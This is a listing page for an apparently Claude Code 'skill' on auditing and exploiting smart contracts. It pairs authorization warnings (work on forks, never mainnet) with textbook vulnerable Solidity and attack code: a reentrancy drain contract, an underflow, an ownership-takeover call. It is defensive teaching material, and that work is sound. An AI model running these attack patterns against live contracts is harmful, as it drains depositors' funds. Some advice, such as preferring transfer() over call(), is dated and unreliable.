Skip to content
Security
Skill

/exploiting-web3-smart-contracts

Audit and exploit smart contracts and Web3 applications including reentrancy, integer overflow, access control flaws, and DeFi-specific vulnerabilities. Use when testing blockchain applications or performing smart contract audits.

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill exploiting-web3-smart-contracts --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/exploiting-web3-smart-contracts

Context preview

The summary Claude sees to decide when to auto-load this skill.

Audit and exploit smart contracts and Web3 applications including reentrancy, integer overflow, access control flaws, and DeFi-specific vulnerabilities. Use when testing blockchain applications or performing smart contract audits.

SKILL.md

exploiting-web3-smart-contracts.SKILL.md
name: exploiting-web3-smart-contracts
description: Audit and exploit smart contracts and Web3 applications including reentrancy, integer overflow, access control flaws, and DeFi-specific vulnerabilities. Use when testing blockchain applications or performing smart contract audits.
verified: 2026-07-27

Exploiting Web3 and Smart Contracts

When to Use

  • Smart contract security auditing
  • DeFi protocol testing
  • Web3 application pentesting
  • Blockchain vulnerability assessment
  • NFT platform security

**Scope and authorization.** A deployed mainnet contract is not a test target. It is a live system custodying other people's funds, it is permissionless — so nothing stops you technically — and it is irreversible once you transact. None of that makes exploitation authorized.

  • **Fork, never touch mainnet.** Prove every finding against a local fork

(Anvil, Hardhat, Tenderly) or a testnet deployment. There is no legitimate reason to run a working exploit against a live contract.

  • **The law here is unsettled — which is a reason for caution, not comfort.**

Two headline prosecutions went the exploiter's way: a Paris court acquitted the Platypus Finance pair in December 2023, holding that calling a public smart contract was not unauthorized access and that the emergency-withdrawal manipulation did not meet the fraud standard; and in May 2025 a US judge vacated Avraham Eisenberg's Mango Markets convictions on venue and insufficient evidence of misrepresentation, a ruling prosecutors have appealed. Do not read those as permission. Both turned on jurisdiction- specific facts, the Platypus court expressly left civil liability open, and in every one of these matters the defendant was arrested, had funds seized, and litigated for years before prevailing. Winning eventually is not the same as being authorized.

  • **Bug bounty scope is narrow and literal.** Immunefi-style programs

typically require proof on a fork, forbid mainnet exploitation and live-user impact, and have specific disclosure channels. Read the scope for the specific program before testing, not after.

  • **Unaudited ≠ abandoned.** An anonymous or inactive deployer does not make a

contract ownerless; the depositors are still identifiable victims.

For contracts you do not own, work from source and simulation only, and disclose through the project's published channel or a coordinating platform.

When NOT to Use

  • **Conventional web vulnerabilities in the dApp frontend or backend** — use

`testing-web-applications` and `auditing-code-for-vulnerabilities`

  • **Cryptographic primitive review** — use `reviewing-cryptography`
  • **Writing up the audit** — use `reporting-security-findings`

Environment Setup

**Install Tools:**

# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs

# Hardhat (Ethereum development)
npm install --save-dev hardhat

# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Slither (static analysis)
pip3 install slither-analyzer

# Mythril (security analysis)
pip3 install mythril

**Connect to Networks:**

// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');

// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');

Common Smart Contract Vulnerabilities

1. Reentrancy

**Vulnerable Contract:**

contract Vulnerable {
    mapping(address => uint) public balances;

    function withdraw() public {
        uint amount = balances[msg.sender];
        // Vulnerable: external call before state update
        (bool success,) = msg.sender.call{value: amount}("");
        require(success);
        balances[msg.sender] = 0;  // State update after call
    }
}

**Exploit:**

contract Attack {
    Vulnerable victim;

    constructor(address _victim) {
        victim = Vulnerable(_victim);
    }

    function attack() public payable {
        victim.deposit{value: 1 ether}();
        victim.withdraw();
    }

    fallback() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.withdraw();  // Reenter
        }
    }
}

**Prevention:**

  • Checks-Effects-Interactions pattern
  • ReentrancyGuard modifier
  • Use transfer() instead of call()

2. Integer Overflow/Underflow

**Vulnerable (Solidity < 0.8.0):**

function transfer(address _to, uint256 _value) public {
    require(balances[msg.sender] - _value >= 0);  // Can underflow
    balances[msg.sender] -= _value;
    balances[_to] += _value;  // Can overflow
}

**Exploit:**

// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)

**Prevention:**

  • Use Solidity >= 0.8.0 (automatic checks)
  • Use SafeMath library
  • Manual overflow checks

3. Access Control Issues

**Vulnerable:**

function withdraw() public {
    // Missing access control!
    msg.sender.transfer(address(this).balance);
}

function setOwner(address _owner) public {
    owner = _owner;  // Anyone can become owner
}

**Exploit:**

// Call withdraw from any address
await contract.withdraw();

// Become owner
await contract.setOwner(attackerAddress);

**Prevention:**

modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
}

function withdraw() public onlyOwner {
    msg.sender.transfer(address(this).balance);
}

4. Unchecked External Calls

**Vulnerable:**

function callExternal(address target) public {
    target.call("");  // Return value not checked
}

function sendEther(address payable recipient) public {
    recipient.send(1 ether);  // Silently fails if send() returns false
}

**Prevention:**

(bool success,) = target.call("");
require(success, "Call failed");

5. Delegatecall Injection

**Vu

Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.